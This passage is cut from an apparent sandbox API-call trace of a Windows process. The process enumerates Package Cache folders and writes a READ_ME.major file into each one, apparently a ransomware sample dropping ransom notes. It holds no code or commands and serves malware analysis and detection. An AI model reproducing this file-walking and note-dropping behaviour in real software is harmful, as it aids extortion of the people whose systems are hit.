| out: hHeap=0x570000) returned 1 [0164.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40540 [0164.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40540 | out: hHeap=0x570000) returned 1 [0164.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccfa8 | out: hHeap=0x570000) returned 1 [0164.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0164.774] FindNextFileW (in: hFindFile=0x654520, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a4e8b2a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1a4e8b2a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1a4e8b2a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0164.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0164.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0164.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0164.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0164.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0164.775] GetLastError () returned 0x12 [0164.775] SetLastError (dwErrCode=0x12) [0164.775] GetLastError () returned 0x12 [0164.775] SetLastError (dwErrCode=0x12) [0164.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0164.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0164.775] GetLastError () returned 0x12 [0164.775] SetLastError (dwErrCode=0x12) [0164.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0164.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0164.775] FindNextFileW (in: hFindFile=0x654520, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0164.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0164.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0164.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0164.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0164.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0980 [0164.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0164.775] GetLastError () returned 0x12 [0164.775] SetLastError (dwErrCode=0x12) [0164.775] GetLastError () returned 0x12 [0164.775] SetLastError (dwErrCode=0x12) [0164.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0164.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0980 | out: hHeap=0x570000) returned 1 [0164.775] GetLastError () returned 0x12 [0164.775] SetLastError (dwErrCode=0x12) [0164.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0164.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0164.776] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0164.776] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0164.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x58e540 [0164.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce18 [0164.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x58e710 [0164.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d370 [0164.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0164.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0164.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0164.776] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0164.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0980 [0164.776] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0164.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5adef0 [0164.776] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0980 | out: hHeap=0x570000) returned 1 [0164.776] GetLastError () returned 0x12 [0164.776] SetLastError (dwErrCode=0x12) [0164.776] GetLastError () returned 0x12 [0164.776] SetLastError (dwErrCode=0x12) [0164.776] GetLastError () returned 0x12 [0164.776] SetLastError (dwErrCode=0x12) [0164.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x5b85a8 [0164.776] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x714 [0164.781] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b85a8 | out: hHeap=0x570000) returned 1 [0164.781] WriteFile (in: hFile=0x714, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.782] CloseHandle (hObject=0x714) returned 1 [0164.782] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5adef0 | out: hHeap=0x570000) returned 1 [0164.782] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0164.782] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d370 | out: hHeap=0x570000) returned 1 [0164.782] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e710 | out: hHeap=0x570000) returned 1 [0164.782] FindNextFileW (in: hFindFile=0x654520, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0164.782] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0164.782] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d08b8 | out: hHeap=0x570000) returned 1 [0164.782] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0408 | out: hHeap=0x570000) returned 1 [0164.782] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0164.782] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a50eebf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x654220 [0164.782] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0164.782] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0164.782] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0164.782] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0164.782] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0164.782] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0164.782] GetLastError () returned 0x12 [0164.782] SetLastError (dwErrCode=0x12) [0164.782] GetLastError () returned 0x12 [0164.782] SetLastError (dwErrCode=0x12) [0164.782] GetLastError () returned 0x12 [0164.783] SetLastError (dwErrCode=0x12) [0164.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0164.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be4d0 [0164.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0164.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0164.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6545a0 [0164.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6545a0 | out: hHeap=0x570000) returned 1 [0164.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40558 [0164.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40558 | out: hHeap=0x570000) returned 1 [0164.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0164.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0164.783] FindNextFileW (in: hFindFile=0x654220, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a50eebf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0164.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0164.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0164.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0164.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0660 [0164.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0164.783] GetLastError () returned 0x12 [0164.783] SetLastError (dwErrCode=0x12) [0164.783] GetLastError () returned 0x12 [0164.783] SetLastError (dwErrCode=0x12) [0164.783] GetLastError () returned 0x12 [0164.783] SetLastError (dwErrCode=0x12) [0164.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4128 [0164.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb58 [0164.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0164.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0164.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x654720 [0164.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654720 | out: hHeap=0x570000) returned 1 [0164.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0164.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0164.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0164.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4128 | out: hHeap=0x570000) returned 1 [0164.783] FindNextFileW (in: hFindFile=0x654220, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a50eebf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1a50eebf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1a50eebf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0660 | out: hHeap=0x570000) returned 1 [0164.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0164.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0164.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0164.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0164.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0164.784] GetLastError () returned 0x12 [0164.784] SetLastError (dwErrCode=0x12) [0164.784] GetLastError () returned 0x12 [0164.784] SetLastError (dwErrCode=0x12) [0164.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0164.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0164.784] GetLastError () returned 0x12 [0164.784] SetLastError (dwErrCode=0x12) [0164.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0164.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0164.784] FindNextFileW (in: hFindFile=0x654220, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0164.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0164.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0164.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0164.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0164.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0278 [0164.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0164.784] GetLastError () returned 0x12 [0164.784] SetLastError (dwErrCode=0x12) [0164.784] GetLastError () returned 0x12 [0164.784] SetLastError (dwErrCode=0x12) [0164.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0164.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0278 | out: hHeap=0x570000) returned 1 [0164.784] GetLastError () returned 0x12 [0164.784] SetLastError (dwErrCode=0x12) [0164.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0164.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0164.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0164.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0164.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x652180 [0164.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0164.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x651da0 [0164.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2f0 [0164.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0164.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0164.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0164.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0164.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0164.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0164.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5adef0 [0164.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0164.785] GetLastError () returned 0x12 [0164.785] SetLastError (dwErrCode=0x12) [0164.785] GetLastError () returned 0x12 [0164.785] SetLastError (dwErrCode=0x12) [0164.785] GetLastError () returned 0x12 [0164.785] SetLastError (dwErrCode=0x12) [0164.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x110) returned 0x6553d0 [0164.785] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x718 [0164.802] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6553d0 | out: hHeap=0x570000) returned 1 [0164.802] WriteFile (in: hFile=0x718, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.803] CloseHandle (hObject=0x718) returned 1 [0164.803] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5adef0 | out: hHeap=0x570000) returned 1 [0164.803] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0164.803] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0164.803] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x651da0 | out: hHeap=0x570000) returned 1 [0164.803] FindNextFileW (in: hFindFile=0x654220, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0164.803] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0164.803] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0164.803] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x1a50eebf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6542a0 [0164.804] SetLastError (dwErrCode=0x12) [0164.804] GetLastError () returned 0x12 [0164.804] SetLastError (dwErrCode=0x12) [0164.804] GetLastError () returned 0x12 [0164.804] SetLastError (dwErrCode=0x12) [0164.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0164.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0164.804] FindNextFileW (in: hFindFile=0x6542a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x1a50eebf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.804] SetLastError (dwErrCode=0x12) [0164.804] GetLastError () returned 0x12 [0164.804] SetLastError (dwErrCode=0x12) [0164.804] GetLastError () returned 0x12 [0164.804] SetLastError (dwErrCode=0x12) [0164.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0164.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0164.804] FindNextFileW (in: hFindFile=0x6542a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a50eebf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1a50eebf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1a50eebf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.804] SetLastError (dwErrCode=0x12) [0164.804] GetLastError () returned 0x12 [0164.804] SetLastError (dwErrCode=0x12) [0164.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0164.804] SetLastError (dwErrCode=0x12) [0164.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0164.804] FindNextFileW (in: hFindFile=0x6542a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0164.804] SetLastError (dwErrCode=0x12) [0164.804] GetLastError () returned 0x12 [0164.804] SetLastError (dwErrCode=0x12) [0164.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0164.804] SetLastError (dwErrCode=0x12) [0164.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0164.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0164.804] SetLastError (dwErrCode=0x12) [0164.805] GetLastError () returned 0x12 [0164.805] SetLastError (dwErrCode=0x12) [0164.805] GetLastError () returned 0x12 [0164.805] SetLastError (dwErrCode=0x12) [0164.805] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x5b85a8 [0164.805] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x71c [0164.808] WriteFile (in: hFile=0x71c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.809] CloseHandle (hObject=0x71c) returned 1 [0164.809] FindNextFileW (in: hFindFile=0x6542a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, 